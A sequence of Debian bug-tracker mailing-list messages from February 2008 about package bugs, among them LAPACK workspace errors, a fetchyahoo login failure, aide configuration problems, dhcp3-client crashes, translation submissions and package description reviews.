As another follow-up, when R says svd(h9,0,0) Error in La.svd(x, nu, nv) : BLAS/LAPACK routine 'DGEBRD' gave error code -10 then this really comes from DGEBRD in dlapack2.f where ELSE IF( LWORK.LT.MAX( 1, M, N ) .AND. .NOT.LQUERY ) THEN INFO = -10 lwork is insufficiently sized, going back to my initial bug report about DGESDD giving the faulty size estimate. This really is the same bug. And as Ben showed in a follow-up Lapack 3.1 from experimental seems to cure it. Dirk -- Three out of two people have difficulties with fractions. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464954: ITP: ixp4xx-microcode -- non-free firmware for the ixp4xx ethernet
Quoting Joey Hess ([EMAIL PROTECTED]): The nslu2 needs non-free firmware for its ethernet. This is currently distributed in the d-i installation images on slug-firmware.net. s/ethernet/Ethernet? signature.asc Description: Digital signature
Bug#464970: fetchyahoo: could not get main Yahoo mail page
Package: fetchyahoo
Version: 2.11.2-1
Severity: important
fetchyahoo doesn't seem to work any longer. I get the following messages
with or without SSL and I can log in fine using galeon.
$ fetchyahoo
Logging in insecurely via plaintext as slashdotaccount on Sun Feb 10 14:35:12
2008
http://login.yahoo.com/config/login?ymv=0.intl=us.partner=.last=.src=ym.done=http%3a//edit.yahoo.com/config/mail%3fymv%3d0
Retry #1 (error 1).
http://login.yahoo.com/config/login?ymv=0.intl=us.partner=.last=.src=ym.done=http%3a//edit.yahoo.com/config/mail%3fymv%3d0
Retry #2 (error 1).
http://login.yahoo.com/config/login?ymv=0.intl=us.partner=.last=.src=ym.done=http%3a//edit.yahoo.com/config/mail%3fymv%3d0
Retry #3 (error 1).
htmlheadtitleImprove performance - Yahoo!/title/head
body bgcolor=ff
center
table border=0 width=90% cellspacing=0 cellpadding=0
trtd colspan=2
style type=text/css!--
@import url(http://us.i1.yimg.com/us.yimg.com/lib/hdr/ygma_s.css;);
body{margin:0px 4px;}
--/style
div align=center id=ygmatable width=750 cellpadding=0 cellspacing=0
border=0tr bgcolor=#efefeftd id=ygmalinks class=ygmabk width=100%
colspan=5
font face=arial,helvetica,sans-serif size=-2a
href=http://www.yahoo.com;font color=00Yahoo!/font/a nbsp; a
href=http://my.yahoo.com;font color=00My Yahoo!/font/a nbsp; a
href=http://mail.yahoo.com;font
color=00Mail/font/a/font/td/trtrtd valign=topa
href=http://my.yahoo.com;img
src=http://us.i1.yimg.com/us.yimg.com/i/us/my/b/myma_4l.gif; id=ygmalogo
width=170 height=30 border=0 alt=My Yahoo!/a/tdtd id=ygmagreet
width=100%font face=verdana,geneva,sans-serif size=-2Welcome,
strong/strongbr[a
href=http://login.yahoo.com/config/login?logout=1.done=http://my.yahoo.com.src=my;Sign
Out/a, a
href=http://edit.yahoo.com/config/eval_profile?.done=http://my.yahoo.com.src=my;My
Account/a]br/font/tdtd valign=top id=ygmaproplinks align=right
nowrapfont face=verdana,geneva,sans-serif size=-2a
href=http://my.yahoo.com/;My Yahoo! Home/a - a
href=http://help.yahoo.com/help/my/;Help/a/font/tdtd
width=5nbsp;/td
/tr
/table/div
brbr
p
table border=0 width=100% cellspacing=0 cellpadding=4
trtd bgcolor=fffont face=Arial size=+1 color=blackbImprove
performance/b/font/td/tr
trtdbr/td/tr
trtdfont face=ArialWe can increase site speed and efficiency for you by
copying your user information (which may include sensitive data) to one of our
servers in Australia
. Please note that privacy protections provided by Australia
may be different from those provided by your country. For more information
about how Yahoo! treats your information, check out our a
href=http://info.yahoo.com/privacy/us/yahoo/details.html;privacy
policies/a./font/td/tr
/table br
form method=post action=http://edit.yahoo.com/config/replica_agree
input type=hidden name=.done value=http://edit.yahoo.com/config/mail?ymv;
input type=hidden name=.src value=
input type=hidden name=.partner value=
input type=hidden name=.scrumb value=mC0NOZ7P4SD
table
trtd width=15% align=center valign=topINPUT name=.repl type=submit
value= Yes /tdtdfont face=ArialbCreate a copy. /bClick this button
to optimize performance. By doing so, you permit Yahoo! to process and
duplicate your personal information on servers located in Australia
. /font/td/tr
trtdbr/tdtd/td/tr
trtd align=center valign=topINPUT name=.norepl type=submit value= No
/tdtdfont face=ArialbDon't create a copy. /bClick this button if
you do not wish to have your personal information copied to servers located in
Australia
. You can still use our service, though the site may not perform optimally.
/font/td/tr
/tablebr/form/td/tr
/table/center
center
hr width=750 size=1 noshade
table width=750 cellpadding=0 cellspacing=0 border=0 summary=
tr
td align=center
font size=-2 face=arial color=#8d8d8d
Copyright copy; 2007 Yahoo! Inc. All rights reserved.
a href=http://docs.yahoo.com/info/copyright/copyright.html;
target=cp title=Click here to view Yahoo! Copyright/IP PolicyCopyright/IP
Policy/a
a href=http://docs.yahoo.com/info/terms/; target=_new
title=Click here to view Yahoo! Terms of ServiceTerms of Service/abr
bNOTICE: We collect personal information on this site.brTo learn more about
how we use your information, see our a href=http://privacy.yahoo.com/;
target=_new title=Click here to view Yahoo! Privacy PolicyPrivacy
Policy/a/b
/font
/td
/tr
/table
/center
/body
/html
http://login.yahoo.com/config/replica_agree?.done=http%3a//edit.yahoo.com/config/mail%3fymv.scrumb=mC0NOZ7P4SD
Could not get main Yahoo mail page.
Please check http://fetchyahoo.sf.net for a version newer than this
version ( 2.11.2 )
If there is no newer version, please e-mail this output to [EMAIL PROTECTED]
http://login.yahoo.com/config/login?ymv=0.intl=us.partner=.last=.src=ym.done=http%3a//edit.yahoo.com/config/mail%3fymv%3d0
-- System Information:
Debian
Bug#283521: debian-installer Parameters
On Sat, Feb 09, 2008 at 07:26:55PM -0500, Andres Villarroel wrote: Hello! Please, where I can find all the parameters used by the debian-installer, not the related to the hardware or kernel. In the page 8 of the bootstrap only one is shown debian-installer/probe/usb=false I guest there should be a lot more. Where can I find them all? Section 5.2.1 of click deeper as http://www.debian.org/releases/etch/installmanual Cheers Geert Stappers -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464901: ITP: pcre-light -- a lightweight GHC library for Perl 5 compatible regular expressions
On Sun, Feb 10, 2008 at 06:43:59AM +0100, Christian Perrier wrote: Quoting Recai Oktaş ([EMAIL PROTECTED]): Package: wnpp Severity: wishlist Owner: Recai Oktaş [EMAIL PROTECTED] * Package name: pcre-light Version : 0.3.1 Upstream Author : Don Stewart [EMAIL PROTECTED] * URL : http://www.example.org/ * License : BSD Programming Lang: Haskell Description : a lightweight GHC library for Perl 5 compatible regular expressions Being lecc cryptic would help, here. I suggest expanding GHC if possible, at the expense of Perl 5 lightweight and/or compatible. Perhaps: Description: a Haskell library for Perl 5-compatible regular expressions -- Steve Langasek Give me a lever long enough and a Free OS Debian Developer to set it on, and I can move the world. Ubuntu Developerhttp://www.debian.org/ [EMAIL PROTECTED] [EMAIL PROTECTED]
Bug#464697: sonata: Sonata fails to start
Hi
Dne Sat, 09 Feb 2008 17:22:03 +0200
turakas [EMAIL PROTECTED] napsal(a):
I tried sonata_1.4.1-1_all.deb from sid and I get the same error message:
[EMAIL PROTECTED]:~$ sonata
Traceback (most recent call last):
File /usr/bin/sonata, line 47, in ?
app = sonata.Base()
File /usr/lib/python2.4/site-packages/sonata.py, line 392, in __init__
self.settings_load()
File /usr/lib/python2.4/site-packages/sonata.py, line 1954, in
settings_load
self.current_tab_pos = conf.getint('notebook', 'current_tab_pos')
File /usr/lib/python2.4/ConfigParser.py, line 321, in getint
return self._get(section, int, option)
File /usr/lib/python2.4/ConfigParser.py, line 318, in _get
return conv(self.get(section, option))
ValueError: invalid literal for int(): None
Looks like there is something messed up in your config file, can you
please send here it? Located at ~/.config/sonata/sonatarc.
BTW: I'll upload 1.4.2 in few moments, you can try it, but I don't think
it will help with your problem.
--
Michal Čihař | http://cihar.com | http://blog.cihar.com
signature.asc
Description: PGP signature
Bug#464971: discover-pkginstall module-assistant check assumes module-assistant is installed
Package: discover Version: 2.1.2-2 Severity: normal # Check if this package is supported by module-assistant if module-assistant --text-mode --non-inter list $pkg | grep -q 'package not installed' ; then This test assumes that module-assistant is installed, but it won't be on most systems. Here are three ideas to fix this: * Make discover depend on module-assistant. Worst choice IMHO. * Have discover-data list module-assistant along with the *-source packages that need it. Seems nice and clean to me. * Use a heuristic, such as checking if $pkg matches *-source, and if so install module-assistant then. Seems second best, as this heuristic may not always work. -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.24-1-686 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages discover depends on: ii debconf [debconf-2.0] 1.5.19 Debian configuration management sy ii libdiscover2 2.1.2-2hardware identification library discover recommends no packages. -- debconf information excluded -- see shy jo signature.asc Description: Digital signature
Bug#464901: ITP: pcre-light -- a lightweight GHC library for Perl 5 compatible regular expressions
Quoting Steve Langasek ([EMAIL PROTECTED]): Description : a lightweight GHC library for Perl 5 compatible regular expressions Being lecc cryptic would help, here. I suggest expanding GHC if possible, at the expense of Perl 5 lightweight and/or compatible. Perhaps: Description: a Haskell library for Perl 5-compatible regular expressions s/a // would of course be my next suggestion.. (Steve, no need to repeat that you disagree with DevRef 6.2.2 on that matter..:-)) signature.asc Description: Digital signature
Bug#464384: elinks_0.12~20080127-1(experimental/amd64/xenophanes): -Werror, warning: cast from pointer to integer of different size
On 08/02/10 09:38 +0530, Y Giridhar Appaji Nag said ... I added a patch to modify bittorrent_peer_request to change the id from char to enum bittorrent_message_id. We FTBFS on powerpc[1] and s390[2] otherwise. I submitted the patch at http://bugzilla.elinks.cz/show_bug.cgi?id=1002 There are further warnings down the line that cause build failures (this is for AMD64). make[4]: Entering directory `/tmp/buildd/elinks-0.12~20080127/build-main/src/protocol/smb' [CC] src/protocol/smb/smb2.o cc1: warnings being treated as errors /tmp/buildd/elinks-0.12~20080127/src/protocol/smb/smb2.c: In function 'do_smb': /tmp/buildd/elinks-0.12~20080127/src/protocol/smb/smb2.c:352: warning: format '%lld' expects type 'long long int', but argument 3 has type '__off_t' make[4]: *** [smb2.o] Error 1 Giridhar -- Y Giridhar Appaji Nag | http://www.appaji.net/ signature.asc Description: Digital signature
Bug#464863: ITP: qca2-plugin-cyrus-sasl -- SASL support for the Qt Cryptographic Architecture
Quoting Christian Perrier ([EMAIL PROTECTED]): Description: SASL support for the Qt Cryptographic Architecture I suggest removing the extra capitalization for cryptographic and architecture. Hmmm, yes. I missed the relation with the QCA acronym. I suggest reintroducing that acronym somewhere in the description, then, if this is something that's often used. Something like QCA (Qt Cryptographic Architecture) but rather in the long description. -- signature.asc Description: Digital signature
Bug#464471: ttf-dejavu-core: default style for DejaVu Serif is Condensed
severity 464471 normal thanks On Sat, 2008-02-09 at 11:04 +0100, Davide Viti wrote: talked about this on #dejavu and been told that default style is not condensed: it's not like a default style is defined in the fonts, fontconfig should just pick the one closest to roman. Can you please provide more infos? I initially filed this bug because DejaVu looked ugly in Abiword, and I found that there are DejaVu variants by looking at gedit preferences. Abiword (from abiword-gnome) itself only shows these variants: * Regular * Italic * Bold * Bold italic The Regular variant in the Abiword font selection dialog seems to correspond to the Condensed variant in the GNOME font selection dialog. I now notice that the GNOME font selection dialog sorts the two Condensed variants before the Book variant. So, I'm not sure if this should be reassigned to abiword-gnome or what. -- bye, pabs http://wiki.debian.org/PaulWise signature.asc Description: This is a digitally signed message part
Bug#464957: ITP: html-xml-utils -- manipulate HTML and XML files
Am Sonntag, den 10.02.2008, 06:47 +0100 schrieb Christian Perrier: Quoting Daniel Leidert ([EMAIL PROTECTED]): [..] Description : manipulate HTML and XML files The general style recommended by the Developers Reference is avoiding verb sentences in synopsis. May I suggest: HTML and XML manipulation utilities Thanks. Will use this one. Regards, Daniel -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#456910: lire exim configuration is out of date and doesn't work
tags 456910 + pending thanks Hi Noah, Op Tue 18 Dec 2007 om 12:37:40 + schreef Noah Slater: The default exim.cfg that ships with lire doesn't work with Debian's default exim package. The logile line should look like this: logfile=/var/log/exim4/mainlog.1 Not this: logfile=/var/log/exim/mainlog.0 Thanks for this bugreport; a fix has just been committed to CVS. Bye, Joost -- .. Log Analysis and Report Generation | '.|/^LogReport$/ | Lirehttp://www.logreport.org/ signature.asc Description: Digital signature
Bug#440420: [PROPOSAL] Manual page encoding
(resending that mail that apparently never made it to its recipients) Quoting Colin Watson ([EMAIL PROTECTED]): Christian Perrier seconded this here: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=440420#100 However, since later discussion indicated that we should drop the .UTF-8 business, I think we can also drop it from the policy proposal. (Manual pages still shouldn't lie about their encoding if they install files there, but since this will not be the recommended default there is no reason to bloat policy with it.) Here's another updated version. Christian, are you still OK with this? I'm also looking for at least one more second for this proposal. Yes, I'l still OK. But as I said, not because I have that much authority on that matter but more because I trust you for doing what's right, indeed..:) It seems that very few seconds came for that proposal. I essentially think that this does not mean this is a bad suggestion but mostly that most people were afraid and impressed by the level of detail of the rationale. That does not make the proposal bad, indeed, and I really warmly suggest we adopt it. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#460837: dhcp3-client: option_space_encapsulate messages in syslog
Hi Steven, which kernel did the messages go away for you? I'm running the stock kernel in lenny (2.6.22-3) and I'm definitely getting the messages. -- Bill Wohler [EMAIL PROTECTED] http://www.newt.com/wohler/ GnuPG ID:610BD9AD -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#452771: [Pkg-aide-maintainers] Bug#452771: aide: Updated files not executable
Marc Haber [EMAIL PROTECTED] wrote: On Sat, Nov 24, 2007 at 06:31:23PM -0800, Bill Wohler wrote: After updating aide, I got this in my daily mail: ** * AIDE returned with exit code 17. Invalid configuration! * ** Errors produced (3 lines): 34:syntax error:( 34:Error while reading configuration:( Configuration error I was able fix this with the following command: $ cd /etc/aide/aide.conf.d $ sudo chmod +x 31_aide_ifupdown 10_aide_hostname 70_aide_dev Is this maybe a duplicate of #447769? Can you please re-try with aide 0.13.1-8.0 from http://zg.debian.zugschlus.de/zg/pool/main/aide? The binaries are for sid, so you'll need to locally rebuild. I'd agree. Feel free to merge #452771 with #447769. My ISP is having problems so I might not be able to get to this tomorrow, in which case it'll be a while. I'd go ahead an upload your fix and I'll test it as soon as I can. -- Bill Wohler [EMAIL PROTECTED] http://www.newt.com/wohler/ GnuPG ID:610BD9AD -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#442376: aide: Unnecessary output in low-verbosity mode
Marc Haber [EMAIL PROTECTED] wrote: On Mon, Sep 17, 2007 at 08:23:03AM -0700, Bill Wohler wrote: However, I still got an email, appended below, so it appears that QUIETREPORTS=yes is not working as advertised. This has been changed since then, so you might find lenny's aide backported to etch helpful. It appears that this has been fixed in 0.13.1-8 so you can close this bug. -- Bill Wohler [EMAIL PROTECTED] http://www.newt.com/wohler/ GnuPG ID:610BD9AD -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464972: win32-loader: [INTL:zh_TW] Initial Traditional Chinese (zh_TW) translation
Package: win32-loader Severity: wishlist Attached file is initial Translation Chinese translation for win32-loader package. Please consider to apply this. Thanks. -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (990, 'testing'), (500, 'oldstable'), (500, 'unstable'), (500, 'stable'), (1, 'experimental') Architecture: i386 (i686) Kernel: Linux 2.6.22-3-vserver-k7 (SMP w/1 CPU core) Locale: LANG=POSIX, LC_CTYPE=zh_TW.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash # Traditional Chinese translation for win32-loader # Copyright (C) 2008 Tetralet # This file is distributed under the same license as the win32-loader package. # msgid msgstr Project-Id-Version: win32-loader 0.6.0\n Report-Msgid-Bugs-To: \n POT-Creation-Date: 2007-09-17 18:09+0200\n PO-Revision-Date: 2008-02-10 14:18+0800\n Last-Translator: Tetralet [EMAIL PROTECTED]\n Language-Team: Debian-user in Chinese [Big5] [EMAIL PROTECTED] debian.org\n MIME-Version: 1.0\n Content-Type: text/plain; charset=UTF-8\n Content-Transfer-Encoding: 8bit\n #. translate: #. This must be a valid string recognised by Nsis. If your #. language is not yet supported by Nsis, please translate the #. missing Nsis part first. #. #: win32-loader.sh:36 win32-loader.c:39 msgid LANG_ENGLISH msgstr LANG_TRADCHINESE #. translate: #. This must be the string used by Windows to represent your #. language's charset. If you don't know, check [wine]/tools/wmc/lang.c, #. or http://www.microsoft.com/globaldev/reference/WinCP.mspx #. #. IMPORTANT: In the rest of this file, only the subset of UTF-8 that can be #. converted to this charset should be used. #: win32-loader.sh:52 msgid windows-1252 msgstr big5 #. translate: #. Charset used by NTLDR in your localised version of Windows XP. If you #. don't know, maybe http://en.wikipedia.org/wiki/Code_page helps. #: win32-loader.sh:57 msgid cp437 msgstr cp950 #. translate: #. The name of your language _in English_ (must be restricted to ascii) #: win32-loader.sh:67 msgid English msgstr Chinese (Traditional) #. translate: #. IMPORTANT: only the subset of UTF-8 that can be converted to NTLDR charset #. (e.g. cp437) should be used in this string. If you don't know which charset #. applies, limit yourself to ascii. #: win32-loader.sh:81 msgid Debian Installer msgstr Debian 安裝程式 #. translate: #. The nlf file for your language should be found in #. /usr/share/nsis/Contrib/Language files/ #. #: win32-loader.c:68 msgid English.nlf msgstr TradChinese.nlf #: win32-loader.c:71 msgid Debian-Installer Loader msgstr Debian 安裝程式載入器 #: win32-loader.c:72 msgid Cannot find win32-loader.ini. msgstr 找不到 win32-loader.ini #: win32-loader.c:73 msgid win32-loader.ini is incomplete. Contact the provider of this medium. msgstr win32-loader.ini 不完整。請聯繫此檔案的提供者。 #: win32-loader.c:74 msgid This program has detected that your keyboard type is \$0\. Is this correct? msgstr 本程式偵測到您的鍵盤類型是「$0」。這是否正確？ #: win32-loader.c:75 msgid Please send a bug report with the following information:\n \n - Version of Windows.\n - Country settings.\n - Real keyboard type.\n - Detected keyboard type.\n \n Thank you. msgstr 請發送包含了以下資訊的錯誤回報：\n \n - Windows 的版本。\n - 國家設定。\n - 鍵盤的實際類型。\n - 偵測到的鍵盤類型。\n \n 謝謝您。 #: win32-loader.c:76 msgid There doesn't seem to be enough free disk space in drive $c. For a complete desktop install, it is recommended to have at least 3 GB. If there is already a separate disk or partition to install Debian, or if you plan to replace Windows completely, you can safely ignore this warning. msgstr 在裝置 $c 中似乎沒有足夠的未使用磁碟空間。為了要安裝完整的桌面環境，建議至少要有 3 GB 的 空間。如果您已準備了個別的磁碟或分割區以用來安裝 Debian，或者您是打算要完全取代 Windows， 您可以放心得忽略此警告訊息。 #: win32-loader.c:77 msgid Error: not enough free disk space. Aborting install. msgstr 錯誤：沒有足夠的未使用磁碟空間。安裝中止。 #: win32-loader.c:78 msgid This program doesn't support Windows $windows_version yet. msgstr 本程式尚未支援 Windows $windows_version。 #: win32-loader.c:79 msgid The version of Debian you're trying to install is designed to run on modern, 64-bit computers. However, your computer is uncapable of running 64-bit programs.\n \n Use the 32-bit (\i386\) version of Debian, or the Multi-arch version which is able to install either of them.\n \n This installer will abort now. msgstr 您正試圖安裝的 Debian 版本是為了能在新一代 64 位元的電腦上運作而設計的。但是，您的 電腦並無法執行 64 位元的程式。\n \n 請使用 32 位元 (i386) 版本的 Debian，或者是可以安裝任意版本的多架構版本。\n \n 本安裝程式將立即中止。 #: win32-loader.c:80 msgid Your computer is capable of running modern, 64-bit operating systems. However, the version of Debian you're trying to install is designed to run on older, 32-bit hardware.\n \n You may still proceed with this install, but in order to take the most advantage of your computer, we recommend that you use the 64-bit (\amd64\) version of Debian instead, or the Multi-arch version which is able to install either of them.\n \n Would you like to abort now? msgstr 您的電腦可以運行新一代的 64 位元作業系統。但是，您正試圖安裝的 Debian 版本是為較舊的 32 位元硬體而設計的。\n \n
Bug#464954: ITP: ixp4xx-microcode -- non-free firmware for the ixp4xx ethernet
Christian Perrier wrote: The nslu2 needs non-free firmware for its ethernet. This is currently distributed in the d-i installation images on slug-firmware.net. s/ethernet/Ethernet? Ceci n'est pas une package description. -- see shy jo signature.asc Description: Digital signature
Bug#442214: aide: Aide issues false alarms
Marc Haber [EMAIL PROTECTED] wrote: On Sat, Nov 24, 2007 at 08:04:54PM -0800, Bill Wohler wrote: Marc Haber [EMAIL PROTECTED] wrote: Care to submit your rules for inclusion in the aide packages? I will be glad to do so once I stop editing them :-). Great! Looking forward! Just wanted to let you know that I'm still working on them a little bit at a time and will let you know when I'm comfortable with them. I've just installed 0.13.1-8 with apt-get source. Unfortunately, as reported in #442214, I always get the following report: removed: /var/log/aide/aide.log.6.gz Once that message goes away, I'll be able to determine if this upgrade closed this issue for me. Try changing /etc/aide/aide.conf.d/31_aide_aide to read: /var/log/aide/aide\.log(\.0)?$ LowLogs /var/log/aide/aide\.log\.1\.gz$ RotatedLogs+ANF /var/log/aide/aide\.log\.[2345]\.gz$ RotatedLogs /var/log/aide/aide\.log\.6\.gz$ RotatedLogs+ARF I see the pattern here. I applied these in my files, but I still get false alarms after a fashion. I'm still looking into it (albeit slowly). I haven't made a small test case yet in hopes that I'll get the rules right and because I never have time to set it up, but I may punt and do so at some point. Thanks for your patience. -- Bill Wohler [EMAIL PROTECTED] http://www.newt.com/wohler/ GnuPG ID:610BD9AD -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#461079: dhcp3-client: Invalid domain list error on good data
On Mon, Feb 04, 2008 at 03:42:10PM -0700, Neil Mayhew wrote: On 2008-02-03 22:36 Andrew Pollock wrote: Could you enable the /etc/dhcp3/dhclient-enter-hooks.d/debug hook (by editing it and changing RUN to yes) and checking out the /tmp/dhclient-script.debug file and telling me what new_domain_search is set to? I enabled that, did ifdown and ifup, and looked in /tmp/dhclient-script.debug. It shows three blocks, reason='RELEASE', reason='PREINIT' and reason='BOUND'. new_domain_search does not appear in any of them. What should we try next? Please send me your dhcp3.conf and your dhclient.conf, I'd like to try and reproduce this problem locally. regards Andrew signature.asc Description: Digital signature
Bug#464082: dhcp3-client: Segmentation fault
tags 464082 + moreinfo thanks On Tue, Feb 05, 2008 at 04:27:52AM +0300, Alexander Davydenko wrote: Package: dhcp3-client Version: 3.1.0-2 Severity: important Here is output from dhclient -d -n -- Internet Systems Consortium DHCP Client V3.1.0 Copyright 2004-2007 Internet Systems Consortium. All rights reserved. For info, please visit http://www.isc.org/sw/dhcp/ Listening on LPF/eth1/00:90:27:5a:8c:8e Sending on LPF/eth1/00:90:27:5a:8c:8e Sending on Socket/fallback option_space_encapsulate: option space agent does not exist, but is configured. DHCPDISCOVER on eth1 to 255.255.255.255 port 67 interval 5 DHCPOFFER from 1.2.3.1 option_space_encapsulate: option space agent does not exist, but is configured. DHCPREQUEST on eth1 to 255.255.255.255 port 67 DHCPACK from 1.2.3.1 Segmentation fault -- which is produced if a new request option `domain-search' is enabled together with the `domain-name' option. In that case the `resolv.conf' file populated with both `domain' and `search' directives. At the same time the interface is configured, but `dhclient.leases' file was still empty. Disabling `domain-name' from list doesn't helps. However in the case of default (commented) conf settings it works, but it allow only `domain' resolv's option. Please advise what version of dhcp3-server you're using. If it's = 3.1.0, please send me your dhcp3.conf (out of band if you wish) Please send me your dhclient.conf I'd like to try and reproduce this in my test environment. regards Andrew signature.asc Description: Digital signature
Bug#464973: pysparse: do the gfortran transition
Package: pysparse Severity: important Need to do the gfortrans transition... -Adam -- GPG fingerprint: D54D 1AEE B11C CE9B A02B C5DD 526F 01E8 564E E4B6 Engineering consulting with open source tools http://www.opennovation.com/ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464618: [Pkg-aide-maintainers] Bug#464485: aide-common: bashism in /bin/sh script
On 08/02/2008, Adam D. Barratt [EMAIL PROTECTED] wrote: On Thu, 2008-02-07 at 23:40 -0500, James Vega wrote: On Thu, Feb 07, 2008 at 06:44:06PM -0600, Raphael Geissert wrote: On 07/02/2008, Marc Haber [EMAIL PROTECTED] wrote: That is a false alarm, the line in question does not use $( foo), but $( foo command), which is a valid construct and works at least in dash and bash. May I suggest not using the latest and greatest checkbashisms script for mass bug filing until the script has shown to be reasonably bug free? Thanks for pointing that out, hopefully someone will fix checkbashisms. This was actually fixed in devscripts' SVN earlier today. Indeed. Please check before filing duplicates. :) I did check on the checkbashisms section of the BTS page, but seems like the bug wasn't usertagged. #464522 was filed by Marc himself yesterday after your (Raphael) report against aide was discussed between us (and others) on #debian-devel and agreed it was a bug. Adam Cheers, -- Atomo64 - Raphael Please avoid sending me Word, PowerPoint or Excel attachments. See http://www.gnu.org/philosophy/no-word-attachments.html Say NO to Microsoft Office broken standard. See http://www.noooxml.org/petition -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464974: mkvtoolnix: fails to start with current libpcrecpp0 from unstable
Package: mkvtoolnix Version: 2.0.2-1+b2 Severity: grave Justification: renders package unusable Expected library ABI does not seem to be compatible with current version of libpcrecpp0 package (7.6-1): # mkvmerge mkvmerge: symbol lookup error: mkvmerge: undefined symbol: _ZN7pcrecpp6no_argE This makes mkvtoolnix unusuable on any Dedian SID system. mkvtoolsnix works with libpcrecpp0 7.4-1 included in Lenny. Greetings, Gunter -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (950, 'unstable'), (500, 'testing'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.23-1-686 (SMP w/2 CPU cores) Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Shell: /bin/sh linked to /bin/bash Versions of packages mkvtoolnix depends on: ii libbz2-1.0 1.0.4-3 high-quality block-sorting file co ii libc6 2.7-6 GNU C Library: Shared libraries ii libebml0 0.7.7-3 access library for the EBML format ii libexpat1 1.95.8-4 XML parsing C library - runtime li ii libflac8 1.2.1-1.1 Free Lossless Audio Codec - runtim ii libgcc11:4.3-20080202-1 GCC support library ii liblzo2-2 2.02-3data compression library ii libmagic1 4.23-1File type determination library us ii libmatroska0 0.8.1-1 extensible open standard audio/vid ii libogg01.1.3-3 Ogg Bitstream Library ii libpcre3 7.6-1 Perl 5 Compatible Regular Expressi ii libpcrecpp07.6-1 Perl 5 Compatible Regular Expressi ii libstdc++6 4.3-20080202-1The GNU Standard C++ Library v3 ii libvorbis0a1.2.0.dfsg-3 The Vorbis General Audio Compressi ii zlib1g 1:1.2.3.3.dfsg-11 compression library - runtime Versions of packages mkvtoolnix recommends: ii mkvtoolnix-gui2.0.2-1+b2 Set of tools to work with Matroska -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464975: plone3-site: Upgrading to 3.0.5-2 breaks plone cmf
Package: plone3-site Version: 3.0.5-2 Severity: grave Justification: renders package unusable Upgrading a Debian testing box to 3.0.5-2 from 3.0.5-1 (I believe) on my AMD64 box broke the Plone CMF. In the Zope management interface it lists my Plone folders by name with the following text in parethesis afterwords This object from the CMFPlone product is broken! When I click on the broken objects it loads a page with the following text: This object is broken because the CMFPlone product that created it is no longer installed or is installed incorrectly. Please contact the product maintainer for assistance. Note that the data associated with this product has not been lost, and will be accessible again if the product is reinstalled. When I try to add a new Plone site it isn't in the list of available objects. It is probably unrelated to this bug, but I noticed the reportbug autodetected some of my Zope configuration information incorrectly below. I am actually running on port 8081. I get no response when trying to connect to localhost:8082. I previously had versions of Zope running on this port, but currently only 2.10 is installed and it is running on 8081. Could their be some old config files hanging around that caused this confusion and also relate to this bug? -- System Information: Debian Release: lenny/sid APT prefers testing APT policy: (500, 'testing') Architecture: amd64 (x86_64) Kernel: Linux 2.6.22-3-amd64 (SMP w/1 CPU core) Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages plone3-site depends on: ii debconf [debconf-2.0] 1.5.18 Debian configuration management sy ii zope-common 0.5.40 common settings and scripts for Zo ii zope-plone3 3.0.5-2content management system based on ii zope2.10 2.10.5-3 Open Source Web Application Server plone3-site recommends no packages. -- debconf information: plone-site/internal: * plone3-site/keep-data-on-purge: true * plone3-site/instance-http-port: 8082 * plone3-site/admin-user: admin -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#464937: slapd fails with sasl errors
